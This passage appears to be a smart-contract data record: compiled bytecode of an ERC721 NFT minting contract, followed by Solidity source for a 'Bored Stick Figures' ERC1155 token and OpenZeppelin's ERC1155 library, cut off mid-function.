0x6080604052600436106102515760003560e01c8063715018a611610139578063b88d4fde116100b6578063d5abeb011161007a578063d5abeb01146106ab578063d5cf5c72146106c1578063e0a80853146106e1578063e985e9c514610701578063efbd73f414610721578063f2fde38b1461074157600080fd5b8063b88d4fde146105f5578063bd3e19d414610615578063c87b56dd1461062a578063cd7c03261461064a578063ce02c8241461067e57600080fd5b806394354fd0116100fd57806394354fd01461058157806395d89b4114610596578063a22cb465146105ab578063a45ba8e7146105cb578063b1111da6146105e057600080fd5b8063715018a6146104eb57806378bb5ac5146105005780637ec4a6591461052d5780638da5cb5b1461054d578063906a26e01461056b57600080fd5b8063438b6300116101d25780635183022711610196578063518302271461043d5780635c975abb1461045c57806362b99ad4146104765780636352211e1461048b5780636f8b44b0146104ab57806370a08231146104cb57600080fd5b8063438b6300146103a857806344a0d68a146103d557806345de0d9b146103f55780634b4fd03b146104085780634fdd43cb1461041d57600080fd5b806318160ddd1161021957806318160ddd1461032757806323b872dd1461034a5780632eb4a7ab1461036a5780633ccfd60b1461038057806342842e0e1461038857600080fd5b806301ffc9a71461025657806306fdde031461028b578063081812fc146102ad578063095ea7b3146102e557806316c38b3c14610307575b600080fd5b34801561026257600080fd5b50610276610271366004612248565b610761565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a06107b3565b60405161028291906122c4565b3480156102b957600080fd5b506102cd6102c83660046122d7565b610845565b6040516001600160a01b039091168152602001610282565b3480156102f157600080fd5b50610305610300366004612305565b6108df565b005b34801561031357600080fd5b50610305610322366004612346565b6109f5565b34801561033357600080fd5b5061033c610a32565b604051908152602001610282565b34801561035657600080fd5b50610305610365366004612361565b610a42565b34801561037657600080fd5b5061033c60105481565b610305610a73565b34801561039457600080fd5b506103056103a3366004612361565b610b09565b3480156103b457600080fd5b506103c86103c33660046123a2565b610b24565b60405161028291906123bf565b3480156103e157600080fd5b506103056103f03660046122d7565b610c05565b61030561040336600461244a565b610c41565b34801561041457600080fd5b50600e5461033c565b34801561042957600080fd5b5061030561043836600461254e565b611046565b34801561044957600080fd5b50600f5461027690610100900460ff1681565b34801561046857600080fd5b50600f546102769060ff1681565b34801561048257600080fd5b506102a0611087565b34801561049757600080fd5b506102cd6104a63660046122d7565b611115565b3480156104b757600080fd5b506103056104c63660046122d7565b61118c565b3480156104d757600080fd5b5061033c6104e63660046123a2565b61120c565b3480156104f757600080fd5b50610305611293565b34801561050c57600080fd5b5061033c61051b3660046123a2565b60116020526000908152604090205481565b34801561053957600080fd5b5061030561054836600461254e565b6112c9565b34801561055957600080fd5b506006546001600160a01b03166102cd565b34801561057757600080fd5b5061033c600d5481565b34801561058d57600080fd5b5061033c600281565b3480156105a257600080fd5b506102a0611306565b3480156105b757600080fd5b506103056105c6366004612597565b611315565b3480156105d757600080fd5b506102a06113da565b3480156105ec57600080fd5b506103056113e7565b34801561060157600080fd5b506103056106103660046125cc565b6114a0565b34801561062157600080fd5b50600b5461033c565b34801561063657600080fd5b506102a06106453660046122d7565b6114d8565b34801561065657600080fd5b506102cd7f000000000000000000000000a5409ec958c83c3f309868babaca7c86dcb077c181565b34801561068a57600080fd5b5061033c6106993660046123a2565b60126020526000908152604090205481565b3480156106b757600080fd5b5061033c600c5481565b3480156106cd57600080fd5b506103056106dc3660046122d7565b611654565b3480156106ed57600080fd5b506103056106fc366004612346565b6116d4565b34801561070d57600080fd5b5061027661071c36600461264c565b611718565b34801561072d57600080fd5b5061030561073c366004612685565b6117f7565b34801561074d57600080fd5b5061030561075c3660046123a2565b611902565b60006001600160e01b031982166380ac58cd60e01b148061079257506001600160e01b03198216635b5e139f60e01b145b806107ad57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546107c2906126aa565b80601f01602080910402602001604051908101604052809291908181526020018280546107ee906126aa565b801561083b5780601f106108105761010080835404028352916020019161083b565b820191906000526020600020905b81548152906001019060200180831161081e57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108c35760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006108ea82611115565b9050806001600160a01b0316836001600160a01b031614156109585760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108ba565b336001600160a01b038216148061097457506109748133611718565b6109e65760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108ba565b6109f083836119ad565b505050565b6006546001600160a01b03163314610a1f5760405162461bcd60e51b81526004016108ba906126e5565b600f805460ff1916911515919091179055565b6000610a3d60085490565b905090565b610a4c3382611a1b565b610a685760405162461bcd60e51b81526004016108ba9061271a565b6109f0838383611aea565b6006546001600160a01b03163314610a9d5760405162461bcd60e51b81526004016108ba906126e5565b60405160009073fe5c087fd87891ca23ab98904d65a92d15a07d459047908381818185875af1925050503d8060008114610af3576040519150601f19603f3d011682016040523d82523d6000602084013e610af8565b606091505b5050905080610b0657600080fd5b50565b6109f0838383604051806020016040528060008152506114a0565b60606000610b318361120c565b905060008167ffffffffffffffff811115610b4e57610b4e612403565b604051908082528060200260200182016040528015610b77578160200160208202803683370190505b509050600160005b8381108015610b905750600c548211155b15610bfb576000610ba083611115565b9050866001600160a01b0316816001600160a01b03161415610be85782848381518110610bcf57610bcf61276b565b602090810291909101015281610be481612797565b9250505b82610bf281612797565b93505050610b7f565b5090949350505050565b6006546001600160a01b03163314610c2f5760405162461bcd60e51b81526004016108ba906126e5565b60008111610c3c57600080fd5b600b55565b80600081118015610c5c5750610c59600260016127b2565b81105b610c9e5760405162461bcd60e51b8152602060048201526013602482015272125b9d985b1a59081b5a5b9d08185b5bdd5b9d606a1b60448201526064016108ba565b600d54610cac9060016127b2565b81610cb660085490565b610cc091906127b2565b10610d005760405162461bcd60e51b815260206004820152601060248201526f04578636565647320536f6674204361760841b60448201526064016108ba565b60026007541415610d535760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108ba565b6002600755600f5460ff1615610dab5760405162461bcd60e51b815260206004820152601760248201527f54686520636f6e7472616374206973207061757365642100000000000000000060448201526064016108ba565b600182600b54610dbb91906127ca565b610dc591906127e9565b3411610e085760405162461bcd60e51b8152602060048201526012602482015271496e73756666696369656e742066756e647360701b60448201526064016108ba565b600e5460041415610e4f5760405162461bcd60e51b81526020600482015260116024820152704d6f646520697320706f73742d73616c6560781b60448201526064016108ba565b600e5460011415610ec35733600090815260126020526040902054600390610e789084906127b2565b10610ebe5760405162461bcd60e51b815260206004820152601660248201527545786365656473206d656b6120616c6c6f77616e636560501b60448201526064016108ba565b610f39565b600e5460021415610f395733600090815260116020526040902054600390610eec9084906127b2565b10610f395760405162461bcd60e51b815260206004820152601b60248201527f457863656564732077686974656c69737420616c6c6f77616e6365000000000060448201526064016108ba565b600e54600314610fcd576040516bffffffffffffffffffffffff193360601b166020820152600090603401604051602081830303815290604052805190602001209050610f898460105483611c8a565b610fcb5760405162461bcd60e51b815260206004820152601360248201527215995c9a599a58d85d1a5bdb8819985a5b1959606a1b60448201526064016108ba565b505b600e5460011415611002573360009081526012602052604081208054849290610ff79084906127b2565b909155506110329050565b600e546002141561103257336000908152601160205260408120805484929061102c9084906127b2565b90915550505b61103c3383611ca0565b5050600160075550565b6006546001600160a01b031633146110705760405162461bcd60e51b81526004016108ba906126e5565b805161108390600a906020840190612199565b5050565b60098054611094906126aa565b80601f01602080910402602001604051908101604052809291908181526020018280546110c0906126aa565b801561110d5780601f106110e25761010080835404028352916020019161110d565b820191906000526020600020905b8154815290600101906020018083116110f057829003601f168201915b505050505081565b6000818152600260205260408120546001600160a01b0316806107ad5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108ba565b6006546001600160a01b031633146111b65760405162461bcd60e51b81526004016108ba906126e5565b600c5481116112075760405162461bcd60e51b815260206004820152601860248201527f4e6577204d532062656c6f772070726576696f7573204d53000000000000000060448201526064016108ba565b600c55565b60006001600160a01b0382166112775760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108ba565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b031633146112bd5760405162461bcd60e51b81526004016108ba906126e5565b6112c76000611cdd565b565b6006546001600160a01b031633146112f35760405162461bcd60e51b81526004016108ba906126e5565b8051611083906009906020840190612199565b6060600180546107c2906126aa565b6001600160a01b03821633141561136e5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108ba565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a8054611094906126aa565b6006546001600160a01b031633146114115760405162461bcd60e51b81526004016108ba906126e5565b600e5460011415611453576002600e55670214e8348c4f0000600b557f9cda0a83c7fb86bd9c2b6808e91d8320854e7951a44376f6351087a304d4851b601055565b600e5460021415611476576003600e556702c68af0bb140000600b556000601055565b600e546003141561148d576004600e556000600b55565b6001600e556701aa535d3d0c0000600b55565b6114aa3383611a1b565b6114c65760405162461bcd60e51b81526004016108ba9061271a565b6114d284848484611d2f565b50505050565b6000818152600260205260409020546060906001600160a01b03166115575760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016108ba565b600f54610100900460ff166115f857600a8054611573906126aa565b80601f016020809104026020016040519081016040528092919081815260200182805461159f906126aa565b80156115ec5780601f106115c1576101008083540402835291602001916115ec565b820191906000526020600020905b8154815290600101906020018083116115cf57829003601f168201915b50505050509050919050565b600060098054611607906126aa565b90501161162357604051806020016040528060008152506107ad565b600961162e83611d62565b60405160200161163f92919061281c565b60405160208183030381529060405292915050565b6006546001600160a01b0316331461167e5760405162461bcd60e51b81526004016108ba906126e5565b600d5481116116cf5760405162461bcd60e51b815260206004820152601860248201527f4e65772053432062656c6f772070726576696f7573205343000000000000000060448201526064016108ba565b600d55565b6006546001600160a01b031633146116fe5760405162461bcd60e51b81526004016108ba906126e5565b600f80549115156101000261ff0019909216919091179055565b60405163c455279160e01b81526001600160a01b0383811660048301526000917f000000000000000000000000a5409ec958c83c3f309868babaca7c86dcb077c191848116919083169063c455279190602401602060405180830381865afa158015611788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ac91906128d7565b6001600160a01b031614156117c55760019150506107ad565b6001600160a01b0380851660009081526005602090815260408083209387168352929052205460ff165b949350505050565b6006546001600160a01b031633146118215760405162461bcd60e51b81526004016108ba906126e5565b600260075414156118745760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108ba565b6002600755600e546004146118c35760405162461bcd60e51b81526020600482015260156024820152744d6f6465206973206e6f7420706f73742d73616c6560581b60448201526064016108ba565b600c546118d19060016127b2565b826118db60085490565b6118e591906127b2565b106118ef57600080fd5b6118f98183611ca0565b50506001600755565b6006546001600160a01b0316331461192c5760405162461bcd60e51b81526004016108ba906126e5565b6001600160a01b0381166119915760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108ba565b610b0681611cdd565b80546001019055565b5490565b3b151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906119e282611115565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316611a945760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108ba565b6000611a9f83611115565b9050806001600160a01b0316846001600160a01b03161480611ada5750836001600160a01b0316611acf84610845565b6001600160a01b0316145b806117ef57506117ef8185611718565b826001600160a01b0316611afd82611115565b6001600160a01b031614611b655760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108ba565b6001600160a01b038216611bc75760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108ba565b611bd26000826119ad565b6001600160a01b0383166000908152600360205260408120805460019290611bfb9084906127e9565b90915550506001600160a01b0382166000908152600360205260408120805460019290611c299084906127b2565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600082611c978584611e60565b14949350505050565b60005b818110156109f057611cb9600880546001019055565b611ccb83611cc660085490565b611f0c565b80611cd581612797565b915050611ca3565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611d3a848484611aea565b611d4684848484611f26565b6114d25760405162461bcd60e51b81526004016108ba906128f4565b606081611d865750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611db05780611d9a81612797565b9150611da99050600a8361295c565b9150611d8a565b60008167ffffffffffffffff811115611dcb57611dcb612403565b6040519080825280601f01601f191660200182016040528015611df5576020820181803683370190505b5090505b84156117ef57611e0a6001836127e9565b9150611e17600a86612970565b611e229060306127b2565b60f81b818381518110611e3757611e3761276b565b60200101906001600160f81b031916908160001a905350611e59600a8661295c565b9450611df9565b600081815b8451811015611f04576000858281518110611e8257611e8261276b565b60200260200101519050808311611ec4576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611ef1565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080611efc81612797565b915050611e65565b509392505050565b611083828260405180602001604052806000815250612024565b60006001600160a01b0384163b1561201957604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611f6a903390899088908890600401612984565b6020604051808303816000875af1925050508015611fa5575060408051601f3d908101601f19168201909252611fa2918101906129c1565b60015b611fff573d808015611fd3576040519150601f19603f3d011682016040523d82523d6000602084013e611fd8565b606091505b508051611ff75760405162461bcd60e51b81526004016108ba906128f4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506117ef565b506001949350505050565b61202e8383612057565b61203b6000848484611f26565b6109f05760405162461bcd60e51b81526004016108ba906128f4565b6001600160a01b0382166120ad5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108ba565b6000818152600260205260409020546001600160a01b0316156121125760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108ba565b6001600160a01b038216600090815260036020526040812080546001929061213b9084906127b2565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546121a5906126aa565b90600052602060002090601f0160209004810192826121c7576000855561220d565b82601f106121e057805160ff191683800117855561220d565b8280016001018555821561220d579182015b8281111561220d5782518255916020019190600101906121f2565b5061221992915061221d565b5090565b5b80821115612219576000815560010161221e565b6001600160e01b031981168114610b0657600080fd5b60006020828403121561225a57600080fd5b813561226581612232565b9392505050565b60005b8381101561228757818101518382015260200161226f565b838111156114d25750506000910152565b600081518084526122b081602086016020860161226c565b601f01601f19169290920160200192915050565b6020815260006122656020830184612298565b6000602082840312156122e957600080fd5b5035919050565b6001600160a01b0381168114610b0657600080fd5b6000806040838503121561231857600080fd5b8235612323816122f0565b946020939093013593505050565b8035801515811461234157600080fd5b919050565b60006020828403121561235857600080fd5b61226582612331565b60008060006060848603121561237657600080fd5b8335612381816122f0565b92506020840135612391816122f0565b929592945050506040919091013590565b6000602082840312156123b457600080fd5b8135612265816122f0565b6020808252825182820181905260009190848201906040850190845b818110156123f7578351835292840192918401916001016123db565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561244257612442612403565b604052919050565b6000806040838503121561245d57600080fd5b823567ffffffffffffffff8082111561247557600080fd5b818501915085601f83011261248957600080fd5b813560208282111561249d5761249d612403565b8160051b92506124ae818401612419565b82815292840181019281810190898511156124c857600080fd5b948201945b848610156124e6578535825294820194908201906124cd565b9997909101359750505050505050565b600067ffffffffffffffff83111561251057612510612403565b612523601f8401601f1916602001612419565b905082815283838301111561253757600080fd5b828260208301376000602084830101529392505050565b60006020828403121561256057600080fd5b813567ffffffffffffffff81111561257757600080fd5b8201601f8101841361258857600080fd5b6117ef848235602084016124f6565b600080604083850312156125aa57600080fd5b82356125b5816122f0565b91506125c360208401612331565b90509250929050565b600080600080608085870312156125e257600080fd5b84356125ed816122f0565b935060208501356125fd816122f0565b925060408501359150606085013567ffffffffffffffff81111561262057600080fd5b8501601f8101871361263157600080fd5b612640878235602084016124f6565b91505092959194509250565b6000806040838503121561265f57600080fd5b823561266a816122f0565b9150602083013561267a816122f0565b809150509250929050565b6000806040838503121561269857600080fd5b82359150602083013561267a816122f0565b600181811c908216806126be57607f821691505b602082108114156126df57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156127ab576127ab612781565b5060010190565b600082198211156127c5576127c5612781565b500190565b60008160001904831182151516156127e4576127e4612781565b500290565b6000828210156127fb576127fb612781565b500390565b6000815161281281856020860161226c565b9290920192915050565b600080845481600182811c91508083168061283857607f831692505b602080841082141561285857634e487b7160e01b86526022600452602486fd5b81801561286c576001811461287d576128aa565b60ff198616895284890196506128aa565b60008b81526020902060005b868110156128a25781548b820152908501908301612889565b505084890196505b5050505050506128ce6128bd8286612800565b64173539b7b760d91b815260050190565b95945050505050565b6000602082840312156128e957600080fd5b8151612265816122f0565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b60008261296b5761296b612946565b500490565b60008261297f5761297f612946565b500690565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906129b790830184612298565b9695505050505050565b6000602082840312156129d357600080fd5b81516122658161223256fea2646970667358221220ba9a91beff54880ede944ea98adc2f60c04baab81d4338bd8da6f86c7bdc407864736f6c634300080c0033
[ 5 ]
0xf288d0ce4ff910589e1edc87b67d47da19353d32
// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract BoredStickFigures is ERC1155, Ownable { string private _uri = "ipfs://"; string public name = "Bored Stick Figures"; // Mapping from token ID to IPFS hash //mapping(uint256 => string) private _hashes; string[192] private _hashes; constructor() ERC1155(_uri) {} function setURI(string memory newuri) public onlyOwner { _setURI(newuri); } // function mint(address account, uint256 id, uint256 amount, string memory data) public onlyOwner { // _hashes[id] = data; // _mint(account, id, amount, ""); // } function uri(uint256 id) public view virtual override returns (string memory) { //return _uri; return string(abi.encodePacked("ipfs://", _hashes[id-1])); } function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, string[192] memory hashes) public onlyOwner { _hashes = hashes; _mintBatch(to, ids, amounts, ""); } function contractURI() public view returns (string memory) { return "QmXVdcMT1STTB39a2ZfFQEEeVz1ruFP1LG3nWRG2tn9HeE"; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 